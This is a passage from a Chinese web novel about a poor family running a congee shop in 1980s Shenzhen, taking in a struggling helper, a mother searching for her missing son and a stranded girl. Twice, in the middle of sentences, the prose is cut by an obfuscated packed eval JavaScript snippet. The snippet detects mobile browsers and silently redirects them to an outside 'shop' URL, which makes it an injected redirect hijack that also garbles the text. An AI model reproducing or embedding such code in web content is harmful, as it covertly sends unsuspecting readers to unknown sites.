他翻了个身，看着睡在身边的妻子。林玉兰呼吸均匀，眉头却微微皱着，梦里也在操心吧。他又看向布帘那边，黄秀英和□□都睡着了，偶尔有几句含糊的梦话。 这个小铺面，现在住了四个人。虽然挤，但有热气，有活气。 窗外的老榕树在夜风里轻轻摇晃叶子。陈永福忽然想起老家的榕树，也是这样大，这样老。小时候他常爬上去掏鸟窝，被父亲追着打。母亲在树下喊“小心点，别摔着”。 一晃眼，自己也有孩子了，也到了要撑起一个家的年纪。 他轻轻起身，走到铺面里。月光从窗户照进来，照在那些桌子上、凳子上、锅灶上。一切都安静，一切都踏实。 饼干盒放在柜子最里面。他打开盒子，借着月光数了数里面的钱。这两个多月攒下的，加上今天收的，有三百七十多块了。离还清贷款还有一段距离，但至少能看到希望。 他把钱放回去，盖上盖子。铁皮盒子发出轻微的咔哒声。 回到床上时，林玉兰醒了，迷迷糊糊问：“几点了？” “快两点了，睡吧。” “你怎么还不睡？” “就睡。” 林玉兰往他身边靠了靠，很快又睡着了。陈永福闭上眼睛，听着妻子均匀的呼吸，听着远处工地的声音，慢慢也睡着了。 梦里，他看见粥铺变大了，变成了两层楼，楼上住人，楼下做生意。客人来来往往，热闹非凡。父亲母亲从老家来了，坐在店里喝粥，笑得满脸皱纹。弟弟妹妹也来了，在店里帮忙。 醒来时天还没亮，但东方已经泛起鱼肚白。新的一天又要开始了。 陈永福轻手轻脚地起床，开始挑水，生火，熬粥。 第一缕阳光照进老街时，家香粥铺的炊烟已经升起来了。淡淡的，灰白色的，混在晨雾里，飘向这座刚刚醒来的城市。 锅里的粥开始咕嘟咕嘟冒泡，米香弥漫开来。陈永福用长勺慢慢搅着，看着米粒在滚水里翻腾，渐渐开花，渐渐稠厚。 他知道，今天还会有很多客人来。认识的，不认识的；开心的，愁苦的；年轻的，年老的。他们会坐在这老榕树下，喝一碗热粥，说几句话，然后继续各自的生活。 而他和他的粥铺，就在这里。不挪窝，不涨价，不关门。 这是他在深圳扎下的第一根根。虽然细，虽然浅，但已经扎下去了。 3. 生根 黄秀英送夜宵的第四天，出事了。 不是她出事，是那辆三轮车。夜里回来时，前轮撞到路面的坑，车圈变形了。推回来时吱嘎吱嘎响，左摇右摆像喝醉了酒。 陈永福蹲在门口修车，用扳手敲打变形的辐条。敲了十几下，车圈还是歪的。修自行车的王师傅过来看，摇摇头：“得换车圈，我这没有这种型号的。” “能修吗？”陈永福问。 “勉强能骑，就是费劲。”王师傅说，“要不你加点钱，我帮你搞辆二手的。” “多少钱？” “七八十吧。” 陈永福不吭声了。七八十，够买两袋米，够交两个月水电费。他继续敲打车圈，敲得火星子都溅出来了。黄秀英站在旁边，低着头，手指绞着衣角。 “老板，对不起，是我没看路……” “不怪你。”陈永福说，“天黑，路又烂。” 最后车圈勉强敲正了些，但骑起来还是晃。陈永福试了试，从铺面骑到街口再骑回来，满身是汗。这车送夜宵不行了，太重，路又远。 “明天开始，我去送。”他对黄秀英说。 “老板，还是我去吧，我年轻……” “让你别去就别去。”陈永福语气有点硬，“女孩子走夜路不安全。车子又不好骑，万一摔了怎么办。” 黄秀英不说话了，转身去洗碗。碗在木盆里碰得叮当响。 那天晚上，陈永福自己去送的夜宵。五十个饭盒装了两大筐，挂在三轮车两边。车子确实不好骑，歪歪扭扭的，他得用力把住车把才不跑偏。 工地离老街有三里多路，一半是土路。白天车来车往压出的坑，晚上看不清。陈永福骑得很慢，马灯在车把上摇晃，照亮前面一小片。有几次车轮陷进坑里，他得下来推。 到工地时已经十一点过五分了。郑工头在门口等，见他来了，赶紧叫人卸货。 “今天晚了点啊。”郑工头说。 “车子坏了，不好骑。”陈永福擦着汗。 工人们围上来领饭盒。饿了一晚上，打开盖子就蹲在路边吃。有人吃太快烫了嘴，嘶嘶吸气。有人抱怨肉少，旁边的人就说“一毛五你想吃多少肉”。 陈永福看着他们吃，心里踏实了些。这些人从老家来，跟他一样，都是为了挣口饭吃。他的粥和粉能让他们吃饱，能让他们有力气继续干活，这就值了。 回去的路上，他骑得更慢。夜深了，路两边黑漆漆的。偶尔有野狗窜过去，眼睛在黑暗里发绿光。远处工地的灯火像星星，一盏一盏的。 他想起了老家的夜。那里也有狗叫，但更多的是虫鸣。夏天晚上，田里的青蛙呱呱地叫，一阵一阵的。父亲会坐在院子里抽烟，烟头一明一灭。母亲在灯下补衣服，针线穿过布料的嘶啦声，细细碎碎的。 来深圳快三个月了，他还没给家里写过信。不是不想写，是不知道写什么。说生意好？才刚起步。说赚钱了？还欠着贷款。说这里很好？其实累得腰都快断了。 最后他决定，等这个月做完，把钱攒一攒，给家里寄五十块。五十块在老家能买不少东西，够父母用一阵子。 回到铺面已经快十二点了。林玉兰还没睡，在灯下缝补衣服。见他回来，起身去灶台热了碗粥。 “吃了没？” “在工地吃了点。”陈永福接过粥，“秀英睡了？” “睡了，建国也睡了。” 陈永福喝着粥，把修车的事说了。林玉兰听完，沉默了一会儿。 “要不，真去买辆二手的？” “七八十呢。”陈永福摇头，“再撑撑，等手头宽裕点。” “可你这样天天送，太累。白天还要干活。” “没事，撑得住。” 林玉兰不说话了，继续缝衣服。针在布上来回穿梭，线拉得紧紧的。过了一会儿，她轻声说：“今天收到阿珍的信了。” “说什么？” “说她那个制衣厂要扩招，问秀英还想不想回去。”林玉兰停下手里的活，“她说现在工资涨了，一个月能有五十块。” 陈永福手里的勺子停在半空。 “你跟秀英说了？” “还没。” 两人都没再说话。煤油灯的火焰跳了一下，爆出个灯花。 黄秀英一个月工资三十块，包吃住。制衣厂五十块，但不包吃住。算下来其实差不多。但如果秀英走了，店里又少个人手。再招人，又得从头教。 “明天我问问她。”陈永福说。 第二天早上，黄秀英干活时格外卖力。擦桌子擦了三遍，碗洗得能照见人影。盛粥时总是堆得满满的，咸菜也给得多。 陈永福看在眼里，知道她是为昨晚的事过意不去。 中午客人少的时候，他把黄秀英叫到后边。 “秀英，你阿珍姐来信了，说制衣厂要招人，工资一个月五十。” 黄秀英愣了一下，手指攥紧了围裙。 “你要是想回去，我不拦你。”陈永福说，“这几个月你干得挺好，我们都看在眼里。你要是走，我给你结清工资，再多补十块，算辛苦费。” 黄秀英低着头，很久没说话。老榕树上有鸟在叫，叽叽喳喳的。 “老板，老板娘，”她抬起头，眼睛有点红，“我不想走。” “为什么？那边工资高。” “高是高，可是……可是那里没人对我好。”黄秀英声音哽咽了，“在制衣厂，我就是个机器，每天对着缝纫机，从天亮做到天黑。组长天天骂，嫌我慢。做的衣服一件件从我手里过，但我不知道穿在谁身上。” 她抹了抹眼睛：“在这里，我盛的粥，人家喝下去，会说一声好喝。我擦的桌子，人家坐上去，会夸一句干净。晚上睡觉，我知道你们就在帘子那边。老板老板娘把我当家里人，建国叫我秀英姐。这些……这些比五十块钱重要。” 陈永福鼻子有点酸。他转过身，假装看锅里的粥。 “你要想清楚。” “我想清楚了。”黄秀英说，“只要你们不赶我走，我就一直在这里干。” 林玉兰走过来，拉住黄秀英的手：“傻孩子，我们怎么会赶你走。你就是我们家里人。” 那天晚上，黄秀英干活更起劲了。洗碗时还哼起了歌，梅县的山歌，调子轻轻的，软软的。 陈永福听着歌，心里做了个决定。第二天一早，他去了王师傅的铺子。 “王师傅，那辆二手三轮车，能不能便宜点？” 王师傅正在补胎，头也不抬：“最低七十，不能再少了。” “六十五行不行？我手头紧。” “六十八。”王师傅抬头看他，“陈老板，我也是小本生意。” 陈永福从兜里掏出钱。六十八块，厚厚一沓。他数了三遍，才递过去。 王师傅接过钱，从后面推出一辆三轮车。车是旧的，但车圈是好的，链条也刚上过油。 “试试。” 陈永福骑了一圈，确实比那辆坏的好多了。他付了钱，推着新车往回走。走到半路，又折回去，买了斤五花肉。 中午吃饭时，他把新车推到铺面前。黄秀英看见了，眼睛睁得老大。 “老板，这……” “新车，以后你送夜宵用。”陈永福说，“晚上骑车小心点，别太快。” 黄秀英摸着新车把，手有点抖。林玉兰从屋里端出菜，除了平时的咸菜，还有一盘红烧肉，油亮亮的。 “今天加菜。”林玉兰笑着说，“庆祝咱们粥铺满三个月。” 三个人坐下吃饭。□□夹了块最大的肉，想了想，放到黄秀英碗里。 “秀英姐吃。” 黄秀英眼泪掉下来了，赶紧用袖子擦。 “哭什么，吃肉。”陈永福给她夹了块肉，“以后好好干，咱们一起把生意做好。” “嗯！”黄秀英用力点头。 那天下午，来了个特别的客人。 是个女人，四十来岁，穿着蓝灰色的确良衬衫，头发梳得整整齐齐。她提着个黑色人造革提包，站在铺面前看了很久，才走进来。 “请问，这里是不是有个叫陈永福的？”她问，普通话带点北方口音。 陈永福从灶台后抬起头：“我就是。您是？” 女人从提包里掏出一张照片，递过来：“您见过这个孩子吗？” 照片是个男孩，七八岁的样子，圆脸，小平头，穿着白衬衫蓝裤子。背景像是某个公园。 陈永福仔细看了看，摇头：“没见过。这是？” “我儿子。”女人坐下，把照片小心地收好，“两个月前在火车站走丢了。有人说可能被人带到深圳来了，我就在这边找。” 林玉兰盛了碗粥过来：“大姐，先喝点粥吧。” 女人接过粥，没喝，只是捧着碗暖手：“我在老家是小学老师，请了假出来的。深圳这么大，不知道从哪里找起。” “报警了吗？”黄秀英问。 “报了，派出所登了记。可每天丢孩子的那么多，警察也顾不过来。”女人说着，眼泪在眼眶里打转，“我就这一个孩子，他爸走得早，要是孩子找不回来，我也活不下去了。” 铺面里安静下来。老榕树的影子慢慢移动，阳光一点点斜过来。 陈永福不知道怎么安慰她。他也有孩子，知道孩子丢了是什么滋味。但他一个开粥铺的，能帮什么忙？ “大姐贵姓？”他问。 “姓周，周淑芬。” “周老师，您要是不嫌弃，这几天就在这附近找找。我让来喝粥的人都看看照片，兴许有人见过。”陈永福说，“您住哪儿？” “还没找到住处，昨晚在车站坐了一夜。” 林玉兰和黄秀英对视一眼。 “要不，您先住我们这儿？”林玉兰说，“就是地方小，您别嫌弃。” 周淑芬连连摆手：“那怎么行，太打扰了。” “不打扰，多个人多双筷子。”陈永福说，“您白天去找孩子，晚上回来住。总比住车站强。” 周淑芬看看这个，看看那个，眼泪终于掉下来：“谢谢，谢谢你们。” 晚上，陈永福用木板在铺面角落搭了个简易床铺。地方窄，只能放张窄板子，铺上草席。周淑芬的提包放在床头，她坐在床沿上，看着这个小空间，很久没说话。 夜里，陈永福听见压抑的哭声。细细的，像小猫叫。他知道是周淑芬在哭，但他没出声。有些苦，只能自己咽。 第二天一早，周淑芬就出门了。她把照片复印了几十份，准备到处贴。陈永福给她装了两个馒头，一壶水。 “中午记得回来吃饭。” “哎，谢谢陈老板。” 白天，每个来喝粥的客人，陈永福都给他们看照片。工人们凑过来看，摇头说没见过。有个常来的货车司机说，他在东莞拉货时好像见过类似的男孩，但不能确定。 “要是再看见，您给带回来。”陈永福说，“我们出车费。” “行，我留意着。” 周淑芬中午回来了，走得满脚是泥。她说去了几个工地，问了一些人，都没消息。林玉兰给她盛了满满一碗粥，她吃得很快，像是急着吃完再出去。 下午她又出去了。这次去了更远的地方，罗湖桥那边，据说有些流浪儿在那里讨生活。 傍晚回来时，她眼睛亮了些。 “有人说在蔡屋围那边见过一个像的男孩，跟一群孩子在一起捡破烂。我明天去看看。” “蔡屋围离这不近，我让秀英骑车送您去。”陈永福说。 “不用不用，我自己去。” “让秀英送吧，她认识路。” 第二天，黄秀英用三轮车拉着周淑芬去了蔡屋围。中午回来时，两人都垂头丧气。 “不是，那孩子眉毛上有颗痣，我儿子没有。”周淑芬说，“白跑一趟。” 但下午又有了新线索。一个来喝粥的建筑工人说，他在上步区那边做工时，看见过几个孩子在工地上玩，有一个很像照片上的。 周淑芬立刻要去，被陈永福拦住了。 “今天晚了，明天再去。上步区远，得坐车。” “我坐公交车去。” “让秀英陪你去，两个人有个照应。” 就这样，周淑芬在粥铺住了下来。白天出去找孩子，晚上回来。有时候带回一点模糊的消息，更多时候是一无所获。她人瘦了一圈，眼窝深陷，但眼神里的光没灭。 粥铺的客人们都知道了这事。来喝粥时，总会问一句“孩子找到了吗”。听说还没找到，就叹气，说几句宽慰的话。有个老顾客是邮递员，主动说帮她在送信时问问。 慢慢地，粥铺成了周淑芬的临时据点。她在这里接线索，等消息，也在这里得到一点温暖。林玉兰每天给她留饭，黄秀英帮她洗衣服，□□有时候会拉着她说话，问“哥哥什么时候回来”。 周淑芬摸着□□的头，轻声说：“快了，就快找到了。” 其实她自己也不知道什么时候能找到。深圳这么大，人这么多，找一个孩子就像大海捞针。但她不能放弃，放弃了，就真的什么都没有了。 八月底的一天，下大雨。 雨是午后开始下的，哗啦啦的，像天漏了。老街很快积了水，浑浊的雨水裹着垃圾流向下水道。行人匆匆跑过，溅起一片水花。 粥铺里一个客人都没有。陈永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380737|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福坐在门口看雨，林玉兰在里间补衣服，黄秀英教□□认字。周淑芬本来要出去，被雨拦住了，坐在角落里发呆。 雨下了两个小时才变小。街上的水慢慢退去，露出湿漉漉的石板路。 这时，一个人跑进铺面，浑身湿透，是常来的那个货车司机。 “陈老板，快，给我碗热粥，冻死了。” 陈永福赶紧盛粥。司机接过碗，一口气喝下半碗，才喘过气来。 “今天从广州回来，路上雨大，差点出事。” “安全回来就好。”陈永福给他加了勺咸菜。 司机忽然想起什么，从怀里掏出个油布包，打开，里面是几张湿了的照片。 “周老师呢？我好像有消息了。” 周淑芬猛地站起来：“我在！什么消息？” “我在广州卸货时，听那边的人说，有个深圳过去的女人在找孩子，描述跟你儿子很像。他们说那孩子可能被带到广州了，在火车站一带。” 周淑芬的手抖起来：“广州火车站？” “对。那边人多，流浪儿也多。你要是想去，我可以带你去，我明天还要去广州送货。” 周淑芬看向陈永福。陈永福点点头：“去看看吧，万一呢。” “可是……”周淑芬犹豫，“如果不是，又白跑一趟。” “不去怎么知道是不是。”林玉兰走过来，“周老师，去吧，我帮你收拾东西。” 那天晚上，周淑芬几乎没睡。她坐在床铺上，一遍遍看儿子的照片。照片已经看旧了，边角都磨白了。照片上的孩子笑得很开心，露出缺了一颗的门牙。 第二天一早，货车司机来了。周淑芬提着她的人造革提包，里面装着换洗衣服、照片复印件，还有陈永福塞给她的五十块钱。 “这钱我不能要……”她推辞。 “拿着，出门在外，没钱不行。”陈永福把钱塞进她提包，“找到了孩子，赶紧给我们捎个信。” “嗯，一定。” 周淑芬上了货车。车子发动时，她从车窗探出头，朝粥铺挥手。陈永福一家人站在老榕树下，也朝她挥手。 货车开远了，消失在老街尽头。 黄秀英轻声问：“老板，你说周老师能找到孩子吗？” “不知道。”陈永福说，“但总得找。” 雨后的早晨，空气清新。老榕树的叶子洗得发亮，一滴水珠从叶尖滴下来，落在石板路上，溅起小小的水花。 陈永福转身回铺面，开始生火熬粥。锅里的水慢慢热起来，米粒在滚水里翻滚。他拿着长勺，慢慢地搅。 生活就是这样，有寻找，有等待，有希望，也有失望。但日子总得过下去，粥总得熬下去。 周淑芬走了，粥铺又恢复了平时的样子。只是客人们来喝粥时，还是会问一句“周老师找到孩子了吗”。听说去了广州，就点点头，说“那边机会大些”。 九月中旬，陈永福收到了周淑芬寄来的信。信很短，说在广州找了一圈，没找到。但她不放弃，还要继续找。信里还夹了十块钱，说是还他的。 陈永福把信收好，把钱放回饼干盒。他没指望她还钱，但她还了，说明她还有力气，还有希望。 九月最后一天，陈永福算账。这个月生意不错，总共收入六百四十块。扣除成本、工资、贷款，净赚两百八十块。他把钱分成三份：一百块存着还贷款，一百五十块留着周转，三十块寄回老家。 去邮局汇款时，他犹豫了一下，又加了二十块。五十块，够父母用两三个月了。 汇款单要填留言，他想了半天，写下一行字：儿在深圳安好，勿念。生意渐稳，年后或可接二老来深一游。 写完后，他看了很久，才把汇款单递进窗口。 走出邮局，阳光很好。街道两边的工地还在施工，脚手架一层层往上搭。有工人在高空作业，小小的身影挂在钢架上，远看像蚂蚁。 陈永福慢慢往回走。路过百货商店时，他停了一下，走进去，给林玉英买了条丝巾。粉色的，带小碎花，三块五毛钱。又给□□买了支钢笔，英雄牌的，一块二。给黄秀英买了双尼龙袜，九毛。 回到粥铺时，林玉兰正在准备晚上的食材。他把丝巾递过去，林玉兰愣了一下。 “买这个干嘛，浪费钱。” “天快凉了，系着暖和。” 林玉兰接过丝巾，摸了摸，嘴角弯起来。她没舍得戴，小心地折好，收进口袋里。 □□拿到钢笔，高兴得跳起来。黄秀英接过袜子，眼睛又红了。 “老板，我……” “别说了，干活。”陈永福摆摆手，转身去挑水。 那天晚上，粥铺打烊后，四个人坐在老榕树下乘凉。九月的夜风已经有了凉意，吹在身上很舒服。 □□在灯下练字，用新钢笔写自己的名字。黄秀英在补袜子，针线细细地走。林玉兰把丝巾拿出来，又看了一遍，还是没舍得戴。 陈永福点了支烟，慢慢抽着。烟是便宜的“大前门”，味道冲，但他抽惯了。 远处传来火车的汽笛声，呜——长长的，沉沉的。不知道是哪趟车，开往哪里，车上坐着什么人。 他想起周淑芬，不知道她现在在哪里，还在不在广州。也想起老家，父母这时候应该睡了，或者还在灯下做活。 来深圳快半年了。从一无所有，到有了这个粥铺，有了固定的客人，有了微薄的收入。从两个人，到四个人，又到三个人。像一棵树，慢慢往下扎根，虽然扎得还不深，但已经能在风雨里站住了。 烟抽完了，他把烟头踩灭。 “明天国庆，工地放假，生意可能少些。咱们也休息半天，下午去东门逛逛。” “真的？”□□眼睛亮了。 “真的。”陈永福摸摸儿子的头，“来深圳这么久，还没带你们出去看看。” 夜深了，他们收拾东西进屋。灯一盏盏熄灭，铺面陷入黑暗。只有老榕树还站在那里，在夜风里轻轻摇晃叶子。 远处，工地的灯火依然通明。打桩机的声音隐隐传来，咚，咚，咚，像是这座年轻城市的心跳，有力，执着，不知疲倦。 陈永福躺在床上，听着这声音，慢慢睡着了。梦里，他看见粥铺变大了，客人坐满了老榕树下。周淑芬牵着儿子回来了，孩子长高了，但还是照片上那个笑脸。父母从老家来了，坐在店里喝粥，说“这粥熬得好，跟老家一个味”。 醒来时天还没亮。他轻手轻脚起床，开始一天的活计。 挑水，生火，熬粥。 第一缕阳光照进老街时，家香粥铺的炊烟又升起来了。淡淡的，灰白色的，混在晨雾里，飘向这座永远在生长的城市。 4. 邻舍 国庆节那天，陈永福一家去了东门。 这是他们来深圳后第一次真正意义上的“逛”。之前总是忙，从早到晚，眼里只有粥铺和那条老街。走出老街，才发现深圳已经变了模样。 东门老街比罗湖老街宽，人也多。路两边多了不少店铺，卖衣服的，卖电器的，卖日用品的。招牌五颜六色，有的还用上了霓虹灯，白天也亮着。 □□眼睛不够用了，看什么都新鲜。他指着一家服装店橱窗里的模特：“阿爸，那个假人会动吗？” “不会，那是塑料的。” “可是它穿着衣服。” “衣服是穿上去的。” 陈永福给儿子解释，心里却也在惊讶。老家县城最大的百货公司，也没这么多衣服。这里的衣服款式新，颜色艳，女装还有裙子短到膝盖以上的。 林玉兰在一家布料店前停下脚步。橱窗里挂着各种花布，的确良的，棉布的，还有带亮片的。她看中一块碎花布，蓝底白花，素净。 “老板，这布怎么卖？” “一块二一尺，做件衬衫要五尺。” 林玉兰算了算，六块钱。她摸摸口袋，里面有三块钱，是陈永福给她零花的。她犹豫了一下，还是走开了。 黄秀英看见旁边有卖头绳的，红的绿的，一毛钱一根。她买了两根，一根红的给自己，一根绿的给林玉兰。 “老板娘，给你。” 林玉兰接过头绳，笑了笑：“我都这年纪了，还扎这么艳的。” “年纪怎么了，扎上好看。” 中午，他们在路边摊吃了肠粉。肠粉是广东小吃，米浆蒸成薄皮，裹上肉末虾仁，淋上酱油。一份三毛钱，陈永福要了四份。 吃完肠粉，又逛了一会儿。□□看见有卖汽水的，玻璃瓶里橙黄色的液体，瓶口塞着颗玻璃珠。他咽了咽口水，但没开口要。 陈永福看见了，走过去：“老板，来一瓶。” “一毛五。” 汽水打开时“噗”的一声，玻璃珠掉进瓶里。□□小心地喝了一口，眼睛瞪大了：“甜的！” “慢慢喝，别呛着。” 四个人分着喝完一瓶汽水，继续往前走。走到一处工地，围挡上写着“国贸大厦施工现场”。工地很大，塔吊高高耸立，工人们在脚手架上忙碌。 陈永福站住了，仰头看。这楼已经盖了十几层了，听说要盖到五十多层。五十多层是什么概念，他想不出来。老家最高的建筑是镇上的水塔，六层。 “听说这楼三天盖一层。”旁边有个看热闹的老人说，“深圳速度。” 三天一层。陈永福想起自己的粥铺，三个月才站稳脚跟。人和人不一样，楼和楼也不一样。有的楼三天一层，有的铺子三个月才熬出一锅像样的粥。 回家的路上，□□睡着了，趴在陈永福背上。孩子不重，但路远，走到后来陈永福也出汗了。林玉兰要换他，他不让。 “不重，我背得动。” 其实重，但他愿意背。儿子一天天长大，能背的机会不多了。在老家时，他常背儿子去田里，儿子在他背上咿咿呀呀说话，小手抓他肩膀。现在儿子七岁了，再过几年，想背也背不动了。 回到粥铺已是傍晚。老唐坐在门口的小板凳上，看见他们回来，站起身。 “老唐，吃过没？”陈永福打招呼。 老唐点点头，又摇摇头。他是楼上住户，五十多岁，在附近工厂看大门。老伴早年过世，儿子在惠州工作，一个人住。平时话不多，但常来喝粥。 “有事？”陈永福问。 老唐犹豫了一下，指指粥铺的烟囱：“你们这个烟，往楼上飘。我窗户都不敢开。” 陈永福抬头看。烟囱是铁皮的，从灶台通出来，伸到屋檐外。平时没注意，现在仔细看，烟确实有点往楼上飘。特别是刮北风的时候。 “不好意思啊老唐，我们想想办法。” “不用太麻烦，就是……就是提个醒。”老唐说完，背着手走了。 林玉兰看着他的背影：“要不，把烟囱加高一段？” “加高得找人，要钱。”陈永福说，“我先看看能不能调个方向。” 晚上打烊后，他搬了梯子爬上去看。烟囱口正对着老唐家的窗户，距离不到三米。难怪烟往那边飘。 他试着把烟囱口扭了个方向，但铁皮烟囱用了几个月，接口处已经锈住了，用力扭也扭不动。反而把一块锈铁皮掰了下来。 “明天找王师傅看看。”他爬下梯子。 第二天一早，他去找王师傅。王师傅正在修自行车，听了情况，说：“简单，加个弯头就行。我这儿有废铁皮，给你做一个。” “多少钱？” “邻里邻居的，要什么钱。”王师傅摆摆手，“中午给我留碗粥就行。” 王师傅手艺好，用废铁皮敲了个弯头，接口处用铆钉固定。陈永福拿回来装上，烟囱口就转向了另一边。试了试，烟果然不往楼上飘了。 中午，老唐来喝粥。陈永福给他盛了满满一碗，多加了勺肉末。 “老唐，烟囱改好了，您看看还飘不飘烟。” 老唐抬头看看，点点头：“好了，谢谢。” “该我谢谢您，给我们提意见。” 老唐慢慢喝粥，喝完一碗，又要了一碗。第二碗喝完，他没马上走，坐在那里看着街上来往的人。 “陈老板来深圳多久了？” “半年多点。” “半年……”老唐从兜里掏出烟，是“丰收”牌，便宜烟。他递给陈永福一支，自己点上，“我来了三年了。儿子给我弄来的，说是特区，机会多。” “您儿子在惠州？” “嗯，当技术员。”老唐吐了口烟，“他让我去惠州，我不去。这里住惯了，老街坊都认识。去了那边，人生地不熟，说话都听不懂。” 陈永福点点头。他理解这种感觉。在老家，从村头走到村尾，每个人都能叫出名字。在这里，除了粥铺的客人，其他人都是陌生的。 “您一个人，吃饭怎么解决？”他问。 “厂里有食堂，但味道不好。有时候自己煮点，有时候来你这喝粥。”老唐弹了弹烟灰，“你们潮汕人做粥是有一手，熬得稠，米香。” “您喜欢就好。” 老唐抽完烟，起身走了。走了几步，又回头：“对了，晚上要是剩粥，给我留一碗。我下夜班回来喝。” “好嘞。” 从那以后，老唐成了粥铺的常客。早上上班前来一碗，晚上下夜班来一碗。有时候带着厂里发的劳保手套来，丢给陈永福：“厂里发的，我用不完，你们干活用得着。” 手套是帆布的，厚实。陈永福收下，第二天给老唐的粥里多放点料。 十月中旬，天气转凉了。 早晨起来要披件外套，灶台边的温度倒是让人舒服。熬粥时热气腾腾的，站在锅边不觉得冷。 粥铺的生意更好了。天冷，人都想吃点热乎的。除了早上的工地订单，中午晚上也常常满座。陈永福又添了一张桌子，摆在老榕树下。树下搭了个简易棚子，用竹竿撑起来，盖上油毡布，下雨天也能做生意。 黄秀英送夜宵的路线也熟了。她记下了哪段路有坑，哪个拐角路灯暗，哪条巷子有狗。有时候回来晚了，林玉兰会站在门口等，看见三轮车的灯光才放心。 一天晚上，黄秀英回来时带回一个人。 是个年轻女孩，十八九岁，背着个花布包袱，怯生生地站在三轮车旁。黄秀英说是在路边看见的，女孩蹲在路灯下哭，一问，是从四川来的，找不着亲戚了。 “先进屋吧。”陈永福说。 女孩叫李红梅，四川达县人。说是来深圳投奔表姐的，表姐在制衣厂做工。她按地址找过去，厂里人说表姐两个月前辞职了，不知道去了哪里。她身上的钱用完了，今天一天没吃饭。 林玉兰盛了碗热粥给她。女孩接过碗，手抖得厉害，粥差点洒出来。她低着头喝，喝得很快，噎着了，咳了几声。 “慢点喝，锅里还有。”林玉兰轻轻拍她的背。 喝完粥，女孩缓过来了些。她看着这个小铺面，又看看眼前这几个人，眼睛红了。 “谢谢，谢谢你们。” “你今晚有地方住吗？”黄秀英问。 女孩摇头。 黄秀英看向陈永福。陈永福沉默了一会儿。铺面就这么大，已经住了四个人。再加一个，实在挤不下了。 “要不，”林玉兰说，“让红梅跟我挤挤，建国跟他爸睡。” “那怎么行……”女孩连忙摆手。 “就这么定了。”陈永福说，“先住下，明天再想办法。” 晚上，李红梅和林玉兰挤一张床。床窄，两人得侧着身睡。李红梅很拘谨，尽量往墙边靠，怕挤着林玉兰。 “老板娘，我……我明天就去找工作。” “不急，先安顿下来。”林玉兰说，“你会做什么？” “我会缝衣服，在老家跟人学过。” “那好办，明天问问王师傅，他认识人多。” 第二天，王师傅还真有门路。他有个亲戚在宝安开了个服装加工厂，正招人。 “不过宝安有点远，得坐车去。” “远不怕，有工作就行。”李红梅说。 陈永福给了她五块钱路费，又让黄秀英陪她去。两人坐早班车去了宝安，中午就回来了，脸上带着笑。 “成了！老板让我明天就去上班，包吃住，一个月四十五块。” 李红梅要跪下来磕头，被林玉兰拉住了。 “别这样，出门在外，互相帮衬是应该的。” “我一定好好干，发了工资就还你们钱。” “不急，你先安顿好自己。” 李红梅在粥铺又住了一晚。第二天一早，陈永福送她去车站。车来了，她上车前，深深鞠了一躬。 “陈老板，老板娘，秀英姐，你们是好人。我永远记得。” 车开走了。陈永福站在车站，看着车消失在晨雾里。他想起了半年前的自己，也是这样来到深圳，也是这样茫然无助。不同的是，他遇到了郑工头，遇到了周明远，还有那些来喝粥的客人。 回到粥铺，老唐在喝粥。见他回来，问：“那姑娘走了？” “走了，去宝安做工了。” “好人会有好报的。”老唐说。 这句话让陈永福心里一暖。他从来不觉得自己是什么好人，只是做了该做的事。但在别人眼里，这也许就是好。 十月底，粥铺来了个不寻常的客人。 是个香港人，四十多岁，穿着西装，提着公文包。他站在铺面前看了很久，才走进来。 “老板，有粥吗？” “有，白粥肉粥皮蛋粥都有。” “来碗皮蛋粥。” 陈永福盛粥时，那人一直打量着铺面。他的目光扫过灶台、桌椅、墙上的价目表，最后落在老榕树上。 “这棵树有些年头了。” “听街坊说，有几十年了。” “几十年……”香港人若有所思，“在香港，这样的老树不多见了。” 他喝粥很慢，一口一口的，像是在品味。喝完粥，他没马上走，从公文包里拿出个小本子，写了些什么。 “老板贵姓？” “姓陈，陈永福。” “陈老板，你这铺子生意不错。” “马马虎虎，糊口而已。” 香港人笑了笑，没再说什么，付了钱走了。走前又看了老榕树一眼。 陈永福觉得这人有点奇怪，但没多想。深圳香港人来往多，偶尔有香港人来喝粥也不稀奇。 过了两天，那香港人又来了。这次不是一个人，还带了个戴眼镜的年轻人，手里拿着皮尺和本子。两人在铺面前量来量去，还拍了照片。 陈永福忍不住问：“先生，你们这是？” “哦，我们是做地产开发的。”香港人说，“觉得这条老街很有潜力，想看看有没有开发的可能。” 开发？陈永福不太懂。但他隐约觉得，这不是小事。 “陈老板别担心，就是看看。”香港人拍拍他的肩，“你这粥铺位置很好，树也好。要是真开发，一定给你安排个好位置。” 他们走后，陈永福心里不踏实了。晚上跟林玉兰说这事，林玉兰也担心。 “开发是什么意思？要拆我们的铺子？” “不知道，他说会给安排新位置。” “新位置哪有这里好。老榕树在这儿，客人都认这棵树。” 是啊，老榕树。半年下来，这棵树已经成了粥铺的标志。工人们说“老榕树下的粥铺”，就知道是这里。要是没了这棵树，粥铺还是粥铺吗？ 第二天，陈永福去问老唐。老唐在工厂见多识广，应该懂这些。 老唐听完，抽了两支烟才说话。 “开发，就是拆了旧房子，盖新楼。深圳现在到处都在开发，罗湖这边特别热。你们这铺子位置好，离火车站近，肯定有人盯上了。” “那…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380738|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那会怎么样？” 